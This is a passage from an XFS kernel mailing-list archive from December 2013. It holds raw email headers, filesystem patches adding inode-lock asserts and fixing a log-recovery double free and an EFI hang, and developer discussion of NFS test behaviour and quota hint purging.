Locking it exclusively all the time would limit + * our parallelism unnecessarily, though. What we do instead is check to see + * if the extents have been read in yet, and only lock the inode exclusively + * if they have not. * - * The function returns a value which should be given to the corresponding + * The functions return a value which should be given to the corresponding * xfs_iunlock() call. */ uint @@ -101,6 +102,19 @@ xfs_ilock_data_map_shared( lock_mode = XFS_ILOCK_EXCL; xfs_ilock(ip, lock_mode); return lock_mode; +} + +uint +xfs_ilock_attr_map_shared( + struct xfs_inode *ip) +{ + uint lock_mode = XFS_ILOCK_SHARED; + + if (ip->i_d.di_aformat == XFS_DINODE_FMT_BTREE && + (ip->i_afp->if_flags & XFS_IFEXTENTS) == 0) + lock_mode = XFS_ILOCK_EXCL; + xfs_ilock(ip, lock_mode); + return lock_mode; } /* Index: xfs/fs/xfs/xfs_inode.h =================================================================== --- xfs.orig/fs/xfs/xfs_inode.h 2013-12-06 19:58:15.759137296 +0100 +++ xfs/fs/xfs/xfs_inode.h 2013-12-06 20:00:50.955134111 +0100 @@ -338,6 +338,7 @@ void xfs_iunlock(xfs_inode_t *, uint); void xfs_ilock_demote(xfs_inode_t *, uint); int xfs_isilocked(xfs_inode_t *, uint); uint xfs_ilock_data_map_shared(struct xfs_inode *); +uint xfs_ilock_attr_map_shared(struct xfs_inode *); int xfs_ialloc(struct xfs_trans *, xfs_inode_t *, umode_t, xfs_nlink_t, xfs_dev_t, prid_t, int, struct xfs_buf **, xfs_inode_t **); From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 888EE29E22 for ; Fri, 6 Dec 2013 14:31:31 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 16AD3AC004 for ; Fri, 6 Dec 2013 12:31:30 -0800 (PST) X-ASG-Debug-ID: 1386361889-04cbb041685988b0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 5YZ2V40OlA2EiK5y (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:31:30 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23d-0004ze-ML for xfs@oss.sgi.com; Fri, 06 Dec 2013 20:31:29 +0000 Message-Id: <20131206203129.612520870@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:17 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 11/11] xfs: assert that we hold the ilock for extent map access References: <20131206203006.914776999@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 11/11] xfs: assert that we hold the ilock for extent map access Content-Disposition: inline; filename=iread_extents-assert X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386361890 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Make sure that xfs_bmapi_read has the ilock held in some way, and that xfs_bmapi_write, xfs_bmapi_delay, xfs_bunmapi and xfs_iread_extents are called with the ilock held exclusively. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_bmap.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap.c 2013-11-29 14:25:12.172459195 +0100 +++ xfs/fs/xfs/xfs_bmap.c 2013-12-05 10:03:28.243801633 +0100 @@ -3997,6 +3997,7 @@ xfs_bmapi_read( ASSERT(*nmap >= 1); ASSERT(!(flags & ~(XFS_BMAPI_ATTRFORK|XFS_BMAPI_ENTIRE| XFS_BMAPI_IGSTATE))); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_SHARED|XFS_ILOCK_EXCL)); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && @@ -4191,6 +4192,7 @@ xfs_bmapi_delay( ASSERT(*nmap >= 1); ASSERT(*nmap <= XFS_BMAP_MAX_NMAP); ASSERT(!(flags & ~XFS_BMAPI_ENTIRE)); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, XFS_DATA_FORK) != XFS_DINODE_FMT_EXTENTS && @@ -4484,6 +4486,7 @@ xfs_bmapi_write( ASSERT(tp != NULL); ASSERT(len > 0); ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && Index: xfs/fs/xfs/xfs_inode_fork.c =================================================================== --- xfs.orig/fs/xfs/xfs_inode_fork.c 2013-12-05 09:57:24.347809100 +0100 +++ xfs/fs/xfs/xfs_inode_fork.c 2013-12-05 09:59:04.767807039 +0100 @@ -431,6 +431,8 @@ xfs_iread_extents( xfs_ifork_t *ifp; xfs_extnum_t nextents; + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); + if (unlikely(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE)) { XFS_ERROR_REPORT("xfs_iread_extents", XFS_ERRLEVEL_LOW, ip->i_mount); Index: xfs/fs/xfs/xfs_bmap.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap.c 2013-12-05 22:12:32.931838271 +0100 +++ xfs/fs/xfs/xfs_bmap.c 2013-12-05 22:35:59.175809412 +0100 @@ -5038,6 +5038,7 @@ xfs_bunmapi( if (XFS_FORCED_SHUTDOWN(mp)) return XFS_ERROR(EIO); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); ASSERT(len > 0); ASSERT(nexts >= 0); From bfields@fieldses.org Fri Dec 6 14:44:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C65B829E09 for ; Fri, 6 Dec 2013 14:44:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4E129AC00C for ; Fri, 6 Dec 2013 12:44:19 -0800 (PST) X-ASG-Debug-ID: 1386362657-04cbb04169599570001-NocioJ Received: from fieldses.org (fieldses.org [174.143.236.118]) by cuda.sgi.com with ESMTP id B26F07i9qhEtGvn1 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:44:17 -0800 (PST) X-Barracuda-Envelope-From: bfields@fieldses.org X-Barracuda-Apparent-Source-IP: 174.143.236.118 Received: from bfields by fieldses.org with local (Exim 4.76) (envelope-from ) id 1Vp2Fo-0003K8-6i; Fri, 06 Dec 2013 15:44:04 -0500 Date: Fri, 6 Dec 2013 15:44:04 -0500 To: Christoph Hellwig Cc: Stanislav Kholmanskikh , xfs@oss.sgi.com, linux-nfs@vger.kernel.org, Vasily Isaenko , "Sachin S. Prabhu" Subject: Re: nfs vs xfstests 193 Message-ID: <20131206204404.GA12613@fieldses.org> X-ASG-Orig-Subj: Re: nfs vs xfstests 193 References: <20131106115648.GA24804@infradead.org> <52A1CF22.106@oracle.com> <20131206180858.GA2803@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206180858.GA2803@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) From: "J. Bruce Fields" X-Barracuda-Connect: fieldses.org[174.143.236.118] X-Barracuda-Start-Time: 1386362657 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 10:08:58AM -0800, Christoph Hellwig wrote: > On Fri, Dec 06, 2013 at 05:20:34PM +0400, Stanislav Kholmanskikh wrote: > > Just to make the behaviour more consistent between NFS and other > > "local" file systems as It was done by > > commit https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?id=0953e620de0538cbd081f1b45126f6098112a598 > > Seems like we got others in line with XFS behavior. But, not having tested the behavior, it looks like fs/open.c has a simlar !S_ISDIR() check. Where's that behavior implemented? > I'd prefer to have NFS follow this as well. Huh. Sachin, do you remember if there was any other motivation behind that patch? --b. From bfields@fieldses.org Fri Dec 6 14:47:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D7C9729E09 for ; Fri, 6 Dec 2013 14:47:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BCBB48F8059 for ; Fri, 6 Dec 2013 12:47:54 -0800 (PST) X-ASG-Debug-ID: 1386362873-04cbb04166599920001-NocioJ Received: from fieldses.org (fieldses.org [174.143.236.118]) by cuda.sgi.com with ESMTP id 5k9RJaCxUR5QayHg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:47:54 -0800 (PST) X-Barracuda-Envelope-From: bfields@fieldses.org X-Barracuda-Apparent-Source-IP: 174.143.236.118 Received: from bfields by fieldses.org with local (Exim 4.76) (envelope-from ) id 1Vp2JP-0003Kb-Lw; Fri, 06 Dec 2013 15:47:47 -0500 Date: Fri, 6 Dec 2013 15:47:47 -0500 From: "J. Bruce Fields" To: Christoph Hellwig Cc: Stanislav Kholmanskikh , xfs@oss.sgi.com, linux-nfs@vger.kernel.org, Vasily Isaenko , "Sachin S. Prabhu" Subject: Re: nfs vs xfstests 193 Message-ID: <20131206204747.GB12613@fieldses.org> X-ASG-Orig-Subj: Re: nfs vs xfstests 193 References: <20131106115648.GA24804@infradead.org> <52A1CF22.106@oracle.com> <20131206180858.GA2803@infradead.org> <20131206204404.GA12613@fieldses.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206204404.GA12613@fieldses.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: fieldses.org[174.143.236.118] X-Barracuda-Start-Time: 1386362874 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 03:44:04PM -0500, bfields wrote: > On Fri, Dec 06, 2013 at 10:08:58AM -0800, Christoph Hellwig wrote: > > On Fri, Dec 06, 2013 at 05:20:34PM +0400, Stanislav Kholmanskikh wrote: > > > Just to make the behaviour more consistent between NFS and other > > > "local" file systems as It was done by > > > commit https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?id=0953e620de0538cbd081f1b45126f6098112a598 > > > > Seems like we got others in line with XFS behavior. > > But, not having tested the behavior, it looks like fs/open.c has a > simlar !S_ISDIR() check. Where's that behavior implemented? > > > I'd prefer to have NFS follow this as well. > > Huh. Sachin, do you remember if there was any other motivation behind > that patch? Never mind, I see, the complaint is about the case where the id's don't change, not about the directory case. So Sachin's 0953e620de0538cbd081f1b45126f6098112a598 doesn't actually have anything to do with this. I'm fine with removing the id comparisons and changing the nfsd behavior to match local filesystems. --b. From bpm@sgi.com Fri Dec 6 15:01:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1ACA329E09 for ; Fri, 6 Dec 2013 15:01:41 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id E43B68F804C; Fri, 6 Dec 2013 13:01:37 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C70C84266DC; Fri, 6 Dec 2013 15:01:37 -0600 (CST) Date: Fri, 6 Dec 2013 15:01:37 -0600 From: Ben Myers To: Jeff Liu , Christoph Hellwig Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot Message-ID: <20131206210137.GT1935@sgi.com> References: <5294A469.1060000@oracle.com> <20131128104336.GE26927@infradead.org> <52986001.9040101@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52986001.9040101@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Jeff, On Fri, Nov 29, 2013 at 05:36:01PM +0800, Jeff Liu wrote: > On 11/28 2013 18:43 PM, Christoph Hellwig wrote: > > On Tue, Nov 26, 2013 at 09:38:49PM +0800, Jeff Liu wrote: > >> + if (flags & XFS_QMOPT_UQUOTA) > >> + return xfs_qm_dqpurge(dqp, NULL); > > > > To me it doesn't make any sense to overload this function for the user > > quotas that don't have hints. > To me it would like a silly compromise. > > > > I'd suggest dropping this hunk and keeping a separate walk for > > releasing the uquots. > I thought this over and yup, that is an overload if neither group nor project > are enabled, or we don't want to turn user quota off. > > But even so, we currently also have overloads by checking group/project hints > before releasing any type of quota in xfs_qm_purge(). In this point, this fix > can reduce a bit overloads by moving those checkups to xfs_qm_purge_hints() if > we want to turn group/project quotas off. > > If we considering to drop above hunk to release user quota separately, we finally > would have to walk through user quota to remove those hints again, i.e, > > /* Remove group/project hints from user dquot */ > STATIC int > xfs_qm_dqpurge_hints( > struct xfs_dquot *dqp, > void *data) > { > uint flags = *((uint *)data); > struct xfs_dquot *gdqp; > struct xfs_dquot *pdqp; > > xfs_dqlock(dqp); > if (dqp->dq_flags & XFS_DQ_FREEING) { > xfs_dqunlock(dqp); > return EAGAIN; > } > > /* If this quota has a hint attached, prepare for releasing it now */ > gdqp = dqp->q_gdquot; > if (gdqp) > dqp->q_gdquot = NULL; > > pdqp = dqp->q_pdquot; > if (pdqp) > dqp->q_pdquot = NULL; > > xfs_dqunlock(dqp); > > if (gdqp) > xfs_qm_dqrele(gdqp); > if (pdqp) > xfs_qm_dqrele(pdqp); > > return 0; > } > > void > xfs_qm_dqpurge_all() > { > xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge_hints, NULL); > > if (flags & XFS_QMOPT_UQUOTA) > xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge, NULL); > if (flags & XFS_QMOPT_GQUOTA) > xfs_qm_dquot_walk(mp, XFS_DQ_GROUP, xfs_qm_dqpurge, NULL); > if (flags & XFS_QMOPT_PQUOTA) > xfs_qm_dquot_walk(mp, XFS_DQ_PROJ, xfs_qm_dqpurge, NULL); > } > > Above code is what I can figured out as per your suggestions for now, but it > would introduce overheads for walking through user dquots to release hints > separately if we want to turn user quota off. > > Any thoughts? I was gonna pull in the single walk version, but now I realize that it is still under discussion. I'm happy with either implementation, with maybe a slight preference for a single user quota walk. Can you and Christoph come to an agreement? Thanks, Ben From tinguely@eagdhcp-232-151.americas.sgi.com Fri Dec 6 15:23:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 11CF429E09 for ; Fri, 6 Dec 2013 15:23:36 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id D7DA48F8033; Fri, 6 Dec 2013 13:23:32 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id rB6LNUpC006857; Fri, 6 Dec 2013 15:23:30 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id rB6LNUdt006856; Fri, 6 Dec 2013 15:23:30 -0600 (CST) (envelope-from tinguely) Message-Id: <20131206212037.475868363@sgi.com> User-Agent: quilt/0.51-1 Date: Fri, 06 Dec 2013 15:20:28 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Cc: Dan Carpenter Subject: [PATCH 1/2] xfs: fix double free on error when cleaning log items References: <20131206212027.846346746@sgi.com> Content-Disposition: inline; filename=xfs-fix-double-free-on-error-when-cleanning-log_items.patch Commit 2a84108 cleans the remaining pending log item entries when log recovery fails. Unfortunately, the cleaning call was not removed from the error path in xlog_recover_commit_trans, This can result in a use after free and a second free of the transaction structure when the cleaning is done in xlog_recover_process_data. Now the log item entry cleaning in xlog_recover_commit_trans is only performed for the non-error case. Reported-by: Dan Carpenter Signed-off-by: Mark Tinguely --- fs/xfs/xfs_log_recover.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) Index: b/fs/xfs/xfs_log_recover.c =================================================================== --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3509,9 +3509,10 @@ out: if (!list_empty(&done_list)) list_splice_init(&done_list, &trans->r_itemq); - xlog_recover_free_trans(trans); - error2 = xfs_buf_delwri_submit(&buffer_list); + /* caller will free transactions in the error path */ + if (!error && !error2) + xlog_recover_free_trans(trans); return error ? error : error2; } From tinguely@eagdhcp-232-151.americas.sgi.com Fri Dec 6 15:23:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7C82C29E09 for ; Fri, 6 Dec 2013 15:23:36 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay3.corp.sgi.com (Postfix) with ESMTP id F3239AC00D for ; Fri, 6 Dec 2013 13:23:32 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id rB6LNUHW006853 for ; Fri, 6 Dec 2013 15:23:30 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id rB6LNUOH006852; Fri, 6 Dec 2013 15:23:30 -0600 (CST) (envelope-from tinguely) Message-Id: <20131206212027.846346746@sgi.com> User-Agent: quilt/0.51-1 Date: Fri, 06 Dec 2013 15:20:27 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH 0/2] misc log recovery patches A couple log recovery patches. patch 1 is a correction to commit: commit 2a84108fe275f95fbe838b1c92b7c45258dcae5c Author: Mark Tinguely Date: Wed Oct 2 07:51:12 2013 -0500 xfs: free the list of recovery items on error Errors in phase 1/2 of xlog_recover_commit_trans will free the transaction pointer and the new call to xlog_recover_process_data will reuse and refree the pointer. I missed it in testing of the 2a84108 patch. Found by Dan Carpenter and verified by forcing an error in xlog_recover_process_data. --- patch 2 is the second version of the patch to remove the EFI from the AIL when log recovery of the EFI item fails. If the EFI entry is not removed from the AIL, then xfs_ail_push_all_sync will hang while doing the forced shutdown. I moved the removal of all EFIs from the AIL to the caller, xlog_recover_process_efis to catch all the errors coming from xlog_recover_process_efi. This bug was found and verified using a metadata dump of a filesystem that has an error freeing an extent. Mark. From tinguely@eagdhcp-232-151.americas.sgi.com Fri Dec 6 15:23:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 239BD29E19 for ; Fri, 6 Dec 2013 15:23:36 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id 040CB304053 for ; Fri, 6 Dec 2013 13:23:32 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id rB6LNUVw006861 for ; Fri, 6 Dec 2013 15:23:30 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id rB6LNUZh006860; Fri, 6 Dec 2013 15:23:30 -0600 (CST) (envelope-from tinguely) Message-Id: <20131206212037.560711585@sgi.com> User-Agent: quilt/0.51-1 Date: Fri, 06 Dec 2013 15:20:29 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH 2/2] xfs: free the efi AIL entry on log recovery failure References: <20131206212027.846346746@sgi.com> Content-Disposition: inline; filename=v2-xfs-remove-efi-entry-before-log-unmount.patch If an extent free fails during recovery, the filesystem will be forced down. The efi entry is still on the AIL and the log shutdown function xfs_ail_push_all_sync() will hang. This patch is similar to the patches that removed the dquot and inode in commits 32ce90a and dea9609 but removes all the EFI entries from the AIL. Cleaned up the typedefs while modifying the function. Signed-off-by: Mark Tinguely --- v2 remove all the EFIs from the AIL rather than the current entry per Dave's suggestion. move the cleaning routine to caller. fs/xfs/xfs_log_recover.c | 33 +++++++++++++++++++++------------ 1 file changed, 21 insertions(+), 12 deletions(-) Index: b/fs/xfs/xfs_log_recover.c =================================================================== --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3635,11 +3635,11 @@ xlog_recover_process_data( */ STATIC int xlog_recover_process_efi( - xfs_mount_t *mp, - xfs_efi_log_item_t *efip) + struct xfs_mount *mp, + struct xfs_efi_log_item *efip) { - xfs_efd_log_item_t *efdp; - xfs_trans_t *tp; + struct xfs_efd_log_item *efdp; + struct xfs_trans *tp; int i; int error = 0; xfs_extent_t *extp; @@ -3660,12 +3660,7 @@ xlog_recover_process_efi( (extp->ext_len == 0) || (startblock_fsb >= mp->m_sb.sb_dblocks) || (extp->ext_len >= mp->m_sb.sb_agblocks)) { - /* - * This will pull the EFI from the AIL and - * free the memory associated with it. - */ - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); - xfs_efi_release(efip, efip->efi_format.efi_nextents); + /* The caller will free all efi entries on error. */ return XFS_ERROR(EIO); } } @@ -3691,6 +3686,7 @@ xlog_recover_process_efi( abort_error: xfs_trans_cancel(tp, XFS_TRANS_ABORT); + /* The caller will free all efi entries on error. */ return error; } @@ -3716,8 +3712,8 @@ STATIC int xlog_recover_process_efis( struct xlog *log) { - xfs_log_item_t *lip; - xfs_efi_log_item_t *efip; + struct xfs_log_item *lip; + struct xfs_efi_log_item *efip; int error = 0; struct xfs_ail_cursor cur; struct xfs_ail *ailp; @@ -3756,7 +3752,20 @@ xlog_recover_process_efis( } out: xfs_trans_ail_cursor_done(ailp, &cur); + lip = xfs_ail_min(ailp); spin_unlock(&ailp->xa_lock); + /* Free all the EFI from the AIL upon error */ + while (lip) { + if (lip->li_type == XFS_LI_EFI) { + efip = (xfs_efi_log_item_t *)lip; + if (!test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)) + set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); + xfs_efi_release(efip, efip->efi_format.efi_nextents); + } + spin_lock(&ailp->xa_lock); + lip = xfs_ail_min(ailp); + spin_unlock(&ailp->xa_lock); + } return error; } From mike.dacre@gmail.com Fri Dec 6 17:16:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ECD2829E09 for ; Fri, 6 Dec 2013 17:16:15 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D2CE8304066 for ; Fri, 6 Dec 2013 15:16:12 -0800 (PST) X-ASG-Debug-ID: 1386371769-04cbb041665a0dc0001-NocioJ Received: from mail-qa0-f43.google.com (mail-qa0-f43.google.com [209.85.216.43]) by cuda.sgi.com with ESMTP id u75ZPftCrUZ18yQb (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 06 Dec 2013 15:16:10 -0800 (PST) X-Barracuda-Envelope-From: mike.dacre@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.43 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.43] Received: by mail-qa0-f43.google.com with SMTP id ii20so1045597qab.9 for ; Fri, 06 Dec 2013 15:16:09 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.43] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.43] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; bh=zoePqR+/y/fzUCyBWUc4awiCCp2grtmHfc02p8tbKxU=; b=Ivdm3GjgyYX48tI7lLh9f7ZIJtes9N6qtJSB4nYDOIu7kgKhhTOG1eaat34hooWoXz xhauWhBWj+V4Z4+WMEjSV8LFrpd7TwJRDWs7Ah5NlODumBrh5PYGsMEj3mtjkQEQc2hd nzInsOo907e1AUX9yCHVKzrSDUwLmwSKo3ZLF9x2rK692FJlYgfXwbol4l7e/9lM3ILD kwSpSZ2ZsKnlPslPo/0h9MPS+6jm46HOsomQUKPoXazoeVcQNC1HOACxpFN6bZPYKMvt +1u03dVdaCOqnJvm8FPSRdUe4I5v0BHdbtXIXYcnJLSygd18afIvYOIBuCS2DeVfIJhg WPpQ== X-Received: by 10.224.38.205 with SMTP id c13mr11009918qae.10.1386371769565; Fri, 06 Dec 2013 15:16:09 -0800 (PST) MIME-Version: 1.0 Received: by 10.229.185.9 with HTTP; Fri, 6 Dec 2013 15:15:29 -0800 (PST) In-Reply-To: References: <52A03513.6030408@hardwarefreak.com> <52A191BA.20800@hardwarefreak.com> From: Mike Dacre Date: Fri, 6 Dec 2013 15:15:29 -0800 Message-ID: Subject: Fwd: Fwd: Sudden File System Corruption To: 